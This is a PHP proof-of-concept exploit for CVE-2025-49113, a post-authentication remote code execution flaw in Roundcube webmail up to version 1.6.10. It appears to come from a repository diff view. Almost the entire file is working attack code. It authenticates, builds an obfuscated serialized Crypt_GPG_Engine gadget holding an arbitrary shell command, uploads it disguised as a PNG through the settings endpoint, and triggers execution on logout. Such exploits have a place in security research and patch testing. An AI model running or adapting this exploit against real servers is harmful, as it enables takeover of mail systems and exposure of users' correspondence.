1
+ <?php
2
+
3
+ /**
4
+ * Roundcube ≤ 1.6.10 Post-Auth RCE via PHP Object Deserialization [CVE-2025-49113]
5
+ *
6
+ * Universal PoC for any PHP version
7
+ *
8
+ * Author: Kirill Firsov https://x.com/k_firsov
9
+ * Organization: FearsOff Cybersecurity (https://fearsoff.org)
10
+ * Writeup: https://fearsoff.org/research/roundcube
11
+ *
12
+ *
13
+ * Main execution flow.
14
+ * php CVE-2025-49113.php http://roundcube.local username password "touch /tmp/pwned"
15
+ *
16
+ *
17
+ * Disclaimer:
18
+ * This proof-of-concept code is provided for educational and research purposes only.
19
+ * The author and contributors assume no responsibility for any misuse or damage
20
+ * resulting from the use of this code. Unauthorized use on systems you do not own
21
+ * or have explicit permission to test is illegal and strictly prohibited. Use at your own risk.
22
+ *
23
+ * @param array<string> $argv
24
+ * @return void
25
+ */
26
+ function main (array $ argv ): void
27
+ {
28
+ message ('Roundcube ≤ 1.6.10 Post-Auth RCE via PHP Object Deserialization [CVE-2025-49113] ' );
29
+
30
+ if (count ($ argv ) < 5 ) {
31
+ message (
32
+ sprintf (
33
+ 'Usage: php %s <target_url> <username> <password> <command> ' ,
34
+ basename (__FILE__ )
35
+ ),
36
+ 1
37
+ );
38
+ }
39
+
40
+ [$ _ , $ targetUrl , $ username , $ password , $ command ] = $ argv ;
41
+
42
+ try {
43
+ validateUrl ($ targetUrl );
44
+
45
+ // Initial request to get CSRF token and starting session cookies
46
+ [$ csrfToken , $ initialCookie ] = fetchCsrfTokenAndCookie ($ targetUrl );
47
+
48
+ // Authenticate using the initial cookie
49
+ $ sessionCookie = authenticate (
50
+ $ targetUrl ,
51
+ $ username ,
52
+ $ password ,
53
+ $ csrfToken ,
54
+ $ initialCookie
55
+ );
56
+
57
+ message ("Command to be executed: \n" . $ command );
58
+
59
+ // Prepare and inject payload
60
+ [$ payloadName , $ payloadFile ] = calcPayload ($ command );
61
+ injectPayload ($ targetUrl , $ sessionCookie , $ payloadName , $ payloadFile );
62
+
63
+ // Trigger and cleanup
64
+ executePayload ($ targetUrl , $ sessionCookie );
65
+
66
+ message ('Exploit executed successfully ' );
67
+ } catch (\Exception $ e ) {
68
+ message ('Error: ' . $ e ->getMessage (), 1 );
69
+ }
70
+ }
71
+
72
+ // -----------------------------------------------------------------------------
73
+ // Helper functions
74
+ // -----------------------------------------------------------------------------
75
+
76
+ /**
77
+ * Validates the target URL.
78
+ *
79
+ * @param string $url
80
+ * @throws \Exception
81
+ */
82
+ function validateUrl (string $ url ): void
83
+ {
84
+ if (false === filter_var ($ url , FILTER_VALIDATE_URL )) {
85
+ throw new \Exception ('Invalid target URL: ' . $ url );
86
+ }
87
+ }
88
+
89
+ /**
90
+ * Retrieves CSRF token and session cookie from initial GET.
91
+ *
92
+ * @param string $targetUrl
93
+ * @return array{string, string} [urlencoded csrf token, initial cookie string]
94
+ * @throws RuntimeException If request fails or token missing
95
+ */
96
+ function fetchCsrfTokenAndCookie (string $ targetUrl ): array
97
+ {
98
+ message ('Retrieving CSRF token and session cookie... ' );
99
+
100
+ $ context = stream_context_create (['http ' => ['method ' => 'GET ' ]]);
101
+ $ body = @file_get_contents ($ targetUrl . '/ ' , false , $ context );
102
+ if (false === $ body ) {
103
+ throw new \RuntimeException ('Failed to fetch initial page for CSRF token ' );
104
+ }
105
+
106
+ $ rawHeaders = $ http_response_header ?? [];
107
+ $ headersStr = implode ("\r\n" , $ rawHeaders );
108
+
109
+ $ token = getToken ($ body );
110
+ $ cookie = getCookie ($ headersStr );
111
+
112
+ return [$ token , $ cookie ];
113
+ }
114
+
115
+ /**
116
+ * Authenticates to Roundcube and returns the updated session cookie.
117
+ *
118
+ * @param string $targetUrl
119
+ * @param string $user
120
+ * @param string $pass
121
+ * @param string $token
122
+ * @param string $cookie Existing cookie from initial request
123
+ * @return string Combined session cookie
124
+ * @throws RuntimeException on authentication failure
125
+ */
126
+ function authenticate (
127
+ string $ targetUrl ,
128
+ string $ user ,
129
+ string $ pass ,
130
+ string $ token ,
131
+ string $ cookie
132
+ ): string {
133
+ message ("Authenticating user: {$ user }" );
134
+
135
+ $ postData = http_build_query ([
136
+ '_token ' => $ token ,
137
+ '_task ' => 'login ' ,
138
+ '_action ' => 'login ' ,
139
+ '_timezone ' => '_default_ ' ,
140
+ '_url ' => '_task=login ' ,
141
+ '_user ' => $ user ,
142
+ '_pass ' => $ pass ,
143
+ ]);
144
+
145
+ $ headers = [
146
+ 'Content-Type: application/x-www-form-urlencoded ' ,
147
+ "Cookie: {$ cookie }" ,
148
+ ];
149
+
150
+ $ context = stream_context_create ([
151
+ 'http ' => [
152
+ 'method ' => 'POST ' ,
153
+ 'header ' => implode ("\r\n" , $ headers ),
154
+ 'content ' => $ postData ,
155
+ 'follow_location ' => 0 ,
156
+ ],
157
+ ]);
158
+
159
+ $ body = @file_get_contents ($ targetUrl . '/?_task=login ' , false , $ context );
160
+ $ respHeaders = implode ("\r\n" , $ http_response_header ?? []);
161
+
162
+ if (false === $ body || !preg_match ('#HTTP/\d+\.\d+\s+302# ' , $ respHeaders )) {
163
+ throw new \RuntimeException ('Authentication failed: ' . PHP_EOL . ($ body ?: 'no response ' ));
164
+ }
165
+
166
+ message ('Authentication successful ' );
167
+
168
+ return getCookie ($ respHeaders );
169
+ }
170
+
171
+ /**
172
+ * Injects the malicious payload via the user settings upload endpoint.
173
+ *
174
+ * @param string $targetUrl
175
+ * @param string $cookie
176
+ * @param string $payloadName
177
+ * @param string $payloadFile
178
+ * @return void
179
+ * @throws \Exception
180
+ */
181
+ function injectPayload (string $ targetUrl , string $ cookie , string $ payloadName , string $ payloadFile ): void
182
+ {
183
+ message ('Injecting payload... ' );
184
+
185
+ $ boundary = '------a_rule_for_WAF_to_block_fool_exploitation ' ;
186
+
187
+ $ multipart = implode ("\r\n" , [
188
+ '-- ' . $ boundary ,
189
+ 'Content-Disposition: form-data; name="_file[]"; filename=" ' . $ payloadFile . '" ' ,
190
+ 'Content-Type: image/png ' ,
191
+ '' ,
192
+ base64_decode ('iVBORw0KGgoAAAANSUhEUgAAAAgAAAAIAQMAAAD+wSzIAAAABlBMVEX///+/v7+jQ3Y5AAAADklEQVQI12P4AIX8EAgALgAD/aNpbtEAAAAASUVORK5CYII ' ),
193
+ '-- ' . $ boundary . '-- ' ,
194
+ ]);
195
+
196
+ $ headers = implode ("\r\n" , [
197
+ 'X-Requested-With: XMLHttpRequest ' ,
198
+ 'Content-Type: multipart/form-data; boundary= ' . $ boundary ,
199
+ 'Cookie: ' . $ cookie ,
200
+ ]);
201
+
202
+ $ context = stream_context_create ([
203
+ 'http ' => [
204
+ 'method ' => 'POST ' ,
205
+ 'header ' => $ headers ,
206
+ 'content ' => $ multipart ,
207
+ ],
208
+ ]);
209
+
210
+ $ url = sprintf (
211
+ '%s/?_from=edit-%s&_task=settings&_framed=1&_remote=1&_id=1&_uploadid=1&_unlock=1&_action=upload ' ,
212
+ $ targetUrl ,
213
+ urlencode ($ payloadName )
214
+ );
215
+
216
+ message ('End payload: ' . $ url );
217
+
218
+ $ response = @file_get_contents ($ url , false , $ context );
219
+ if (false === $ response || strpos ($ response , 'preferences_time ' ) === false ) {
220
+ throw new \Exception ('Payload injection failed, got: ' . ($ response ?: 'no response ' ));
221
+ }
222
+
223
+ message ('Payload injected successfully ' );
224
+ }
225
+
226
+ /**
227
+ * Triggers execution of the injected payload by serializing session data.
228
+ *
229
+ * @param string $targetUrl
230
+ * @param string $cookie
231
+ * @return void
232
+ */
233
+ function executePayload (string $ targetUrl , string $ cookie ): void
234
+ {
235
+ message ('Executing payload... ' );
236
+ $ token = getToken (
237
+ file_get_contents (
238
+ $ targetUrl . '/ ' ,
239
+ false ,
240
+ stream_context_create (['http ' => ['header ' => 'Cookie: ' . $ cookie ]])
241
+ )
242
+ );
243
+
244
+ file_get_contents (
245
+ sprintf ('%s/?_task=logout&_token=%s ' , $ targetUrl , $ token ),
246
+ false ,
247
+ stream_context_create (['http ' => ['header ' => 'Cookie: ' . $ cookie ]])
248
+ );
249
+ }
250
+
251
+ /**
252
+ * Extracts and encodes the CSRF token from response body.
253
+ *
254
+ * @param string $body HTTP response body
255
+ * @return string URL-encoded token
256
+ * @throws RuntimeException If token is not found
257
+ */
258
+ function getToken (string $ body ): string
259
+ {
260
+ if (preg_match ('/(?:"request_token":"|&_token=)([^"&]+)(?:"|\s)/Uuis ' , $ body , $ matches )) {
261
+ return rawurlencode ($ matches [1 ]);
262
+ }
263
+
264
+ throw new \RuntimeException ('CSRF token not found in response body ' );
265
+ }
266
+
267
+ /**
268
+ * Aggregates Set-Cookie headers into a single cookie string.
269
+ *
270
+ * @param string $headers Raw HTTP headers
271
+ * @param string $existing Any existing cookie string to preserve
272
+ * @return string Concatenated cookies
273
+ */
274
+ function getCookie (string $ headers , string $ existing = '' ): string
275
+ {
276
+ $ cookies = [];
277
+
278
+ if (preg_match_all ('/^Set-Cookie:\s*([^=]+)=([^;]+);/mi ' , $ headers , $ matches , PREG_SET_ORDER )) {
279
+ foreach ($ matches as [$ full , $ key , $ value ]) {
280
+ if ($ value === '-del- ' ) {
281
+ continue ;
282
+ }
283
+ $ cookies [] = sprintf ('%s=%s ' , $ key , $ value );
284
+ }
285
+ }
286
+
287
+ return $ existing . implode ('; ' , $ cookies ) . (!empty ($ cookies ) ? '; ' : '' );
288
+ }
289
+
290
+ /**
291
+ * Magic is happening here
292
+ */
293
+ function calcPayload ($ cmd ){
294
+
295
+ class Crypt_GPG_Engine{
296
+ private $ _gpgconf ;
297
+
298
+ function __construct ($ cmd ){
299
+ $ this ->_gpgconf = $ cmd .';# ' ;
300
+ }
301
+ }
302
+
303
+ $ payload = serialize (new Crypt_GPG_Engine ($ cmd ));
304
+ $ payload = process_serialized ($ payload ) . 'i:0;b:0; ' ;
305
+ $ append = strlen (12 + strlen ($ payload )) - 2 ;
306
+ $ _from = '!";i:0; ' .$ payload .'}";}} ' ;
307
+ $ _file = 'x|b:0;preferences_time|b:0;preferences|s: ' .(78 + strlen ($ payload ) + $ append ).': \\"a:3:{i:0;s: ' .(56 + $ append ).': \\".png ' ;
308
+
309
+ $ _from = preg_replace ('/(.)/ ' , '$1 ' . hex2bin ('c ' .rand (0 ,9 )), $ _from ); //little obfuscation
310
+
311
+ return [$ _from , $ _file ];
312
+ }
313
+
314
+ /**
315
+ * PHPGGC magic
316
+ */
317
+ function process_serialized ($ serialized , $ full = false ){
318
+ $ new = '' ;
319
+ $ last = 0 ;
320
+ $ current = 0 ;
321
+ $ pattern = '#\bs:([0-9]+):"# ' ;
322
+
323
+ while (
324
+ $ current < strlen ($ serialized ) &&
325
+ preg_match (
326
+ $ pattern , $ serialized , $ matches , PREG_OFFSET_CAPTURE , $ current
327
+ )
328
+ )
329
+ {
330
+ $ p_start = $ matches [0 ][1 ];
331
+ $ p_start_string = $ p_start + strlen ($ matches [0 ][0 ]);
332
+ $ length = $ matches [1 ][0 ];
333
+ $ p_end_string = $ p_start_string + $ length ;
334
+
335
+ if (!(
336
+ strlen ($ serialized ) > $ p_end_string + 2 &&
337
+ substr ($ serialized , $ p_end_string , 2 ) == '"; '
338
+ ))
339
+ {
340
+ $ current = $ p_start_string ;
341
+ continue ;
342
+ }
343
+ $ string = substr ($ serialized , $ p_start_string , $ length );
344
+
345
+ $ clean_string = '' ;
346
+ for ($ i =0 ; $ i < strlen ($ string ); $ i ++)
347
+ {
348
+ $ letter = $ string [$ i ];
349
+ if ($ full || !ctype_print ($ letter ) || $ letter == '\\' || $ letter == '| ' || $ letter == '. ' /* rc spec */ )
350
+ $ letter = sprintf ("\\%02x " , ord ($ letter ));
351
+
352
+ $ clean_string .= $ letter ;
353
+ }
354
+
355
+ $ new .=
356
+ substr ($ serialized , $ last , $ p_start - $ last ) .
357
+ 'S: ' . $ matches [1 ][0 ] . ':" ' . $ clean_string . '"; '
358
+ ;
359
+ $ last = $ p_end_string + 2 ;
360
+ $ current = $ last ;
361
+ }
362
+
363
+ $ new .= substr ($ serialized , $ last );
364
+ return $ new ;
365
+ }
366
+
367
+ /**
368
+ * Prints a formatted message and optionally exits.
369
+ *
370
+ * @param string $text Message to print
371
+ * @param int $exitCode Exit code (0 to continue)
372
+ * @return void
373
+ */
374
+ function message (string $ text , int $ exitCode = 0 ): void
375
+ {
376
+ echo '### ' . $ text . PHP_EOL . PHP_EOL ;
377
+
378
+ if ($ exitCode !== 0 ) {
379
+ exit ($ exitCode );
380
+ }
381
+ }
382
+
383
+ main ($ argv );
0 commit comments